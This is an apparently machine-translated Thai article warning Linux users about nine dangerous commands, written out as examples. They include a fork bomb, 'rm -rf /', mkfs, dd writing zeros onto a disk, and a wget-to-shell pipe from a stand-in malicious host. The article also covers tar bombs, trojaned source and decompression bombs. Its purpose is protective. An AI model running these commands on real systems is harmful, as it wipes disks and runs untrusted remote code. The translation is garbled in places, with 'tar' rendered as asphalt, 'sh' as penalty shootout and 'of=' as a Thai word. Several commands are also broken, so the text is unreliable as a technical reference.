9 คำสั่งและรหัสของ Linux ที่ต้องระวัง
คำสั่ง Linux shell / terminal นั้นมีประสิทธิภาพมาก และเพียงคำสั่งง่ายๆอาจนำไปสู่การลบโฟลเดอร์ไฟล์หรือโฟลเดอร์ราก ฯลฯ.
ในบางกรณีลีนุกซ์จะไม่ขอคำยืนยันจากคุณ แต่มันจะดำเนินการตามคำสั่งทันที สูญเสียข้อมูลและข้อมูลที่มีค่า เก็บไว้ในไฟล์และโฟลเดอร์เหล่านี้.
เป็นเรื่องปกติที่ผู้คนจะโพสต์เนื้อหาบนเว็บ แนะนำผู้ใช้ Linux ใหม่ให้ดำเนินการคำสั่งเหล่านี้. นี่อาจเป็นเรื่องตลกสำหรับคนที่โพสต์เนื้อหา แต่ไม่มีเรื่องใดที่จะทำให้คนอื่นหัวเราะได้.
เราได้รวบรวมคำสั่ง Linux ที่ค่อนข้างอันตรายสำหรับระบบของคุณเพื่อช่วยคุณหลีกเลี่ยง อย่าลืมว่าพวกมันอันตรายจริงๆและ สามารถเปลี่ยนแปลงได้หลายวิธีในการสร้างคำสั่งใหม่ สร้างความเสียหายมากขึ้น.
สิ่งสำคัญที่ควรทราบคือ คำสั่งเหล่านี้บางคำสั่งมีอันตรายหากมีคำนำหน้า sudo บน Ubuntu. ในขณะที่ดิสทริบิวชันอื่น ๆ ของ Linux คำสั่งที่ให้มาส่วนใหญ่จะเป็นอันตรายในการดำเนินการในฐานะรูท.
ลองดูที่ 9 คำสั่งและรหัสที่คุณควรหลีกเลี่ยงการดำเนินการ.
1. คำสั่ง Linux Fork Bomb
: () : |: & ;:
หรือที่เรียกว่า ส้อมระเบิด เป็นการโจมตีแบบปฏิเสธการให้บริการกับระบบ Linux. : () : |: & ;:
เป็นฟังก์ชั่นทุบตี เมื่อดำเนินการแล้ว, มันทำซ้ำตัวเองหลายครั้งจนกว่าระบบจะค้าง.
คุณสามารถกำจัดได้โดยเริ่มระบบของคุณใหม่ ดังนั้นควรระมัดระวังเมื่อเรียกใช้คำสั่งนี้บนเชลล์ Linux ของคุณ.
2. mv โฟลเดอร์ / คำสั่ง dev / null
mv folder / dev / null
เป็นอีกคำสั่งที่มีความเสี่ยง. dev / null
หรือ อุปกรณ์ null
คือ ไฟล์อุปกรณ์ที่ทิ้งข้อมูลทั้งหมดที่เขียนไว้ในนั้น แต่รายงานว่าการดำเนินการเขียนถูกดำเนินการเรียบร้อยแล้ว. เป็นที่รู้จักกันว่า บั๊กบิต หรือ หลุมดำ.
3. คำสั่ง rm -rf
rm -rf
คำสั่งเป็นวิธีที่รวดเร็วในการ ลบโฟลเดอร์และเนื้อหา ในระบบปฏิบัติการ Linux หากคุณไม่ทราบวิธีการใช้อย่างถูกต้องก็อาจเป็นอันตรายต่อระบบ ชุดค่าผสมที่พบมากที่สุดและตัวเลือกที่ใช้กับคำสั่ง rm-rf อยู่ด้านล่าง:
RM
คำสั่งที่ใช้ในการลบไฟล์ในระบบ Linux.rm -f
คำสั่งลบไฟล์แบบอ่านอย่างเดียวในโฟลเดอร์โดยไม่ต้องแจ้ง.rm -r
คำสั่งลบเนื้อหาของโฟลเดอร์ซ้ำ.rm -d
คำสั่งจะใช้ในการลบไดเรกทอรีที่ว่างเปล่า แต่มันจะปฏิเสธที่จะลบไดเรกทอรีถ้ามันไม่ว่างเปล่า.rm -rf /
ใช้คำสั่งสำหรับการลบแบบบังคับ (มันจะลบแม้ว่ามันจะป้องกันการเขียน) ของเนื้อหาทั้งหมดในไดเรกทอรีรากและโฟลเดอร์ย่อย.rm -rf *
คำสั่งจะใช้สำหรับการลบเนื้อหาทั้งหมดในไดเรกทอรีปัจจุบัน (ไดเรกทอรีที่คุณกำลังทำงาน) และโฟลเดอร์ย่อย.rm -rf.
คำสั่งจะใช้สำหรับการลบเนื้อหาทั้งหมดในโฟลเดอร์ปัจจุบันและโฟลเดอร์ย่อยrm -r. [^.] *
คำสั่งยังสามารถใช้.rm -i
คำสั่งจะใช้สำหรับการลบไฟล์และโฟลเดอร์ แต่จะปรากฏขึ้นก่อนที่จะลบ.
4. คำสั่ง mkfs
mkfs
อาจเป็นคำสั่งที่อันตรายสำหรับระบบที่ใช้ Linux ของคุณหากคุณไม่ทราบวัตถุประสงค์. สิ่งใดที่เขียนหลังจาก mkfs จะถูกจัดรูปแบบและแทนที่ด้วยระบบไฟล์ว่างเปล่าของ Linux.
คำสั่งทั้งหมดที่กล่าวถึงด้านล่างจะฟอร์แมตฮาร์ดไดรฟ์และต้องใช้สิทธิ์ผู้ดูแลระบบ:
mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat
คำสั่ง mkfs.cramfs
จะทำสิ่งเดียวกันกับข้างต้น แต่ไม่ต้องการสิทธิ์ผู้ดูแลระบบในการดำเนินการ.
5. น้ำมันดินระเบิด
น้ำมันดิน
คำสั่งจะใช้สำหรับการรวมหลายไฟล์เป็นไฟล์เดียว (ไฟล์ที่เก็บถาวร) ใน .น้ำมันดิน รูป ระเบิดคลังถาวร (Tar) สามารถสร้างขึ้นได้ด้วยคำสั่งนี้.
มันคือ ไฟล์เก็บถาวรซึ่งกระจายเป็นไฟล์หลายพันหรือหลายล้านไฟล์ที่มีชื่อคล้ายกับไฟล์ที่มีอยู่ในไดเรกทอรีปัจจุบัน แทนที่จะเป็นไดเรกทอรีใหม่เมื่อ untarred.
คุณสามารถหลีกเลี่ยงการตกเป็นเหยื่อของระเบิดทาร์ด้วย สร้างไดเรกทอรีป้องกันใหม่เป็นประจำทุกครั้งที่คุณได้รับไฟล์ tar จากนั้นย้ายไฟล์ tar ที่ได้รับไปยังไดเรกทอรีนี้ก่อนนำออกใช้.
หากไฟล์ tar เป็นระเบิดทาร์แน่นอนคุณสามารถลบไดเร็กทอรี่ที่สร้างขึ้นใหม่เพื่อกำจัดมันได้ อีกวิธีหนึ่งในการหลีกเลี่ยงการระเบิดของทาร์ระเบิดคือผ่าน -เสื้อ
ตัวเลือกเพื่อแสดงรายการเนื้อหาทั้งหมดของไฟล์ tar เพื่อให้คุณทราบถึงประเภทของเนื้อหาที่อยู่ในไฟล์ tar.
6. คำสั่ง dd
DD
คำสั่งจะใช้ในการ คัดลอกและแปลงพาร์ติชันฮาร์ดดิสก์. อย่างไรก็ตามอาจเป็นอันตรายหากคุณระบุปลายทางผิด.
คำสั่งอาจเป็นหนึ่งในสิ่งเหล่านี้:
dd if = / dev / hda ของ = / dev / hdb
dd if = / dev / hda ของ = / dev / sdb
dd if = บางสิ่งบางอย่างของ = / dev / hda
วันที่ = บางอย่างของ = / dev / sda
คำสั่งต่อไปนี้จะเป็นศูนย์ของฮาร์ดไดรฟ์หลักทั้งหมด: dd if = / dev / zero of = / dev / had
7. รหัสสคริปต์เชลล์
บางคนอาจชนะคุณได้ ให้ลิงค์ไปยังเชลล์สคริปต์และรับรองให้คุณดาวน์โหลดและรันมัน. สคริปต์อาจมีรหัสที่เป็นอันตรายหรืออันตรายอยู่ภายใน รูปแบบของคำสั่ง อาจมีลักษณะเช่นนี้: wget http: // some_malicious_source -O- | ดวลจุดโทษ
. wget
จะดาวน์โหลดสคริปต์ในขณะที่ sh ดาวน์โหลดการเรียกใช้สคริปต์.
8. รหัสที่เป็นอันตราย
มีคนให้ซอร์สโค้ดแก่คุณและขอให้คุณคอมไพล์มัน รหัส อาจดูเหมือนเป็นรหัสปกติ แต่อันที่จริงมีรหัสที่เป็นอันตรายซึ่งปลอมตัวอยู่ในซอร์สโค้ดขนาดใหญ่ และอาจก่อให้เกิดอันตรายต่อระบบของคุณ เพื่อหลีกเลี่ยงการตกเป็นเหยื่อจากการโจมตีประเภทนี้, ยอมรับและคอมไพล์ซอร์สโค้ดของคุณจากแหล่งที่เชื่อถือได้เท่านั้น.
9. ระเบิดการบีบอัด
คุณได้รับไฟล์บีบอัดและขอให้คุณแตกไฟล์นี้ซึ่งมีขนาดเล็กมาก แต่อาจมีขนาดไม่กี่ KB ในความเป็นจริง, ไฟล์บีบอัดขนาดเล็กนี้มีข้อมูลที่บีบอัดสูงมาก.
เมื่อแตกไฟล์แล้วจะมีการแตกข้อมูลเป็นร้อย GB สามารถเติมฮาร์ดไดรฟ์ของคุณได้ เพื่อลดประสิทธิภาพของระบบของคุณ เพื่อหลีกเลี่ยงสถานการณ์นี้โปรดอย่าลืมรับข้อมูลจากแหล่งที่น่าเชื่อถือ.